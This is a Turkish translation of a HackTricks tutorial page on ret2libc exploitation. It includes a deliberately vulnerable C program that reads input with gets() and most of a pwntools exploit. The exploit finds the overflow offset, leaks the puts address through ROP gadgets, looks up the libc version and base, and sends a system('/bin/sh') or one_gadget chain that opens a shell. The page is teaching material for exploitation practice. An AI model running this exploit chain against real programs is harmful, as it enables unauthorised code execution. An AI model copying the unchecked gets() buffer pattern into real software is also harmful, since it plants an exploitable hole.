hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2024-02-10 18:14:16 +00:00
..
README.md Translated to Turkish 2024-02-10 18:14:16 +00:00
rop-leaking-libc-template.md Translated to Turkish 2024-02-10 18:14:16 +00:00

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Hızlı Özet

  1. Taşma ofsetini bulun
  2. POP_RDI, PUTS_PLT ve MAIN_PLT gadget'larını bulun
  3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun bellek adresini sızdırın ve libc sürümünü bulun (indirin)
  4. Kütüphane ile ROP'yi hesaplayın ve istismar edin

Diğer öğreticiler ve uygulamalar

Bu öğretici, bu öğreticide önerilen kod/binary'yi istismar edecektir: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Başka yararlı öğreticiler: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Kod

Dosya adı: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - LIBC Adresi Sızdırma Şablonu

Exploit yapmak için burada bulunan kodu kullanacağım.
Exploit'i indirin ve savunmasız ikili dosya ile aynı dizine yerleştirin ve gerekli verileri betiğe verin:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Offset'i Bulma

Şablon, exploit'e devam etmeden önce bir offset'e ihtiyaç duyar. Eğer herhangi bir offset sağlanmazsa, gerekli kodu çalıştırarak bunu bulacaktır (varsayılan olarak OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

Çalıştır python template.py komutunu, programın çökmesiyle birlikte bir GDB konsolu açılacaktır. Bu GDB konsolu içinde x/wx $rsp komutunu çalıştırarak RIP üzerine yazılacak olan baytları elde edin. Son olarak, bir python konsolu kullanarak ofset değerini elde edin:

from pwn import *
cyclic_find(0x6161616b)

Ofseti bulduktan sonra (bu durumda 40) şablon içindeki OFFSET değişkenini bu değeri kullanarak değiştirin.
OFFSET = "A" * 40

Başka bir yol ise pattern create 1000 -- execute until ret -- pattern seach $rsp komutunu GEF üzerinde kullanmaktır.

2- Gadget'ları Bulma

Şimdi, ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, libc'yi bulmak için puts'ı çağırmak ve daha sonra son saldırıyı başlatmak için kullanışlı olacaktır.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT, puts fonksiyonunu çağırmak için gereklidir.
MAIN_PLT, taşmanın tekrar sömürülmesi için bir etkileşimden sonra ana fonksiyonu tekrar çağırmak için gereklidir (sonsuz sayıda sömürü turu). Her ROP'un sonunda programı tekrar çağırmak için kullanılır.
POP_RDI, çağrılan fonksiyona bir parametre geçirmek için gereklidir.

Bu adımda, her şeyin pwntools tarafından yürütme sırasında bulunacağı için herhangi bir şeyi yürütmenize gerek yoktur.

3- LIBC kütüphanesini bulma

Şimdi, kullanılan libc kütüphanesinin hangi sürümü olduğunu bulma zamanı geldi. Bunun için hafızadaki puts fonksiyonunun adresini sızdıracağız ve ardından bu adreste puts sürümünün hangi kütüphane sürümünde olduğunu aramaya devam edeceğiz.

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

Bunu yapmak için, yürütülen kodun en önemli satırı:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Bu, RIP üzerine yazma işlemi gerçekleşene kadar bazı baytları gönderecektir: OFFSET.
Ardından, POP_RDI adlı gadget'ın adresini ayarlayacak, böylece bir sonraki adres (FUNC_GOT), RDI kaydedilecektir. Bunun nedeni, PUTS_GOT adresi bellekte puts fonksiyonunun adresinin kaydedildiği adrese işaret ettiği için puts'ı çağırmak ve bellekteki puts fonksiyonunun adresini içeren PUTS_GOT içeriğini okumak istememizdir.
Bundan sonra, PUTS_PLT çağrılacak (RDI içinde PUTS_GOT ile) böylece puts, PUTS_GOT içindeki içeriği (bellekteki puts fonksiyonunun adresi) okuyacak ve yazdıracaktır.
Son olarak, ana işlev tekrar çağrılır böylece taşma hatasını yeniden kullanabiliriz.

Bu şekilde, puts fonksiyonunu kandırdık ve bellekteki puts fonksiyonunun adresini (libc kütüphanesinin içindeki) yazdırdık. Artık bu adresi kullanarak hangi libc sürümünün kullanıldığını arama yapabiliriz.

Bir yerel ikili dosyayı sömürdüğümüz için kullanılan libc sürümünü bulmanız gerekmez (yalnızca /lib/x86_64-linux-gnu/libc.so.6 kütüphanesini bulun).
Ancak, uzaktan bir saldırı durumunda nasıl bulabileceğinizi burada açıklayacağım:

3.1- Libc sürümünü arama (1)

Web sitesinde hangi kütüphanenin kullanıldığını arayabilirsiniz: https://libc.blukat.me/
Ayrıca, bulunan libc sürümünü indirmenize izin verir

3.2- Libc sürümünü arama (2)

Ayrıca şunu yapabilirsiniz:

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Bu biraz zaman alabilir, sabırlı olun.
Bunun çalışması için ihtiyacımız olanlar:

  • Libc sembol adı: puts
  • Sızdırılan libc adresi: 0x7ff629878690

Muhtemelen kullanılan libc sürümünü bulabiliriz.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

2 eşleşme elde ediyoruz (ilk çalışmazsa ikincisini denemelisiniz). İlkini indirin:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so dosyasını çalışma dizinimize kopyalayın.

3.3- Sızdırmak için diğer fonksiyonlar

puts
printf
__libc_start_main
read
gets

4- Temel libc adresini bulma ve sömürme

Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi sömürdüğümüz için sadece /lib/x86_64-linux-gnu/libc.so.6 kullanacağım.

Bu yüzden, template.py dosyasının başında libc değişkenini şu şekilde değiştirin: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Bilindiği zaman kütüphane yolunu ayarlayın

libc kütüphanesinin yolunu vererek, sömürgeleme otomatik olarak hesaplanacak.

get_addr fonksiyonunun içinde libc'nin temel adresi hesaplanacak:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Not edin ki son libc taban adresi 00 ile bitmelidir. Eğer durum böyle değilse yanlış bir kütüphane sızdırmış olabilirsiniz. {% endhint %}

Ardından, system fonksiyonunun adresi ve "/bin/sh" dizesinin adresi, libc'in taban adresinden ve verilen libc kütüphanesinden hesaplanacaktır.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Sonunda, /bin/sh yürütme saldırısı hazırlanacak ve gönderilecek:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Bu son ROP'u açıklayalım.
Son ROP (rop1), tekrar main fonksiyonunu çağırdıktan sonra, taşmayı yeniden sömürme yapabiliriz (bu yüzden OFFSET burada tekrar var). Ardından, "/bin/sh" adresine işaret eden POP_RDI'yı çağırmak ve system fonksiyonunu (SYSTEM) çağırmak istiyoruz çünkü "/bin/sh" adresi bir parametre olarak geçirilecektir.
Son olarak, exit fonksiyonunun adresi çağrılır, böylece işlem düzgün bir şekilde sonlandırılır ve herhangi bir uyarı oluşturulmaz.

Bu şekilde, saldırı bir _/bin/sh_** kabuğunu yürütecektir.**

4(2)- ONE_GADGET Kullanma

system ve "/bin/sh" kullanmak yerine bir kabuk elde etmek için ONE_GADGET 'i de kullanabilirsiniz. ONE_GADGET, libc kütüphanesinin içinde sadece bir ROP adresi kullanarak bir kabuk elde etmek için bir yol bulacaktır.
Ancak, genellikle bazı kısıtlamalar vardır, en yaygın olanlarından ve kolayca kaçınılabilenlerden biri [rsp+0x30] == NULL gibi. RSP içindeki değerleri kontrol ettiğiniz için, sadece daha fazla NULL değeri göndererek kısıtlamayı önleyebilirsiniz.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

EXPLOİT DOSYASI

Bu zafiyeti sömürmek için bir şablon bulabilirsiniz:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Sıkça Karşılaşılan Sorunlar

MAIN_PLT = elf.symbols['main'] bulunamadı

Eğer "main" sembolü mevcut değilse, sadece main kodunun nerede olduğunu bulabilirsiniz:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

ve adresi manuel olarak ayarlayın:

MAIN_PLT = 0x401080

Puts bulunamadı

Eğer ikili dosya Puts kullanmıyorsa, şunu kontrol etmelisiniz:

sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

Bu hatayı, tüm saldırıyı oluşturduktan sonra bulursanız: sh: 1: %s%s%s%s%s%s%s%s: bulunamadı

"/bin/sh" adresinden 64 bayt çıkararak deneyin:

BINSH = next(libc.search("/bin/sh")) - 64
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları: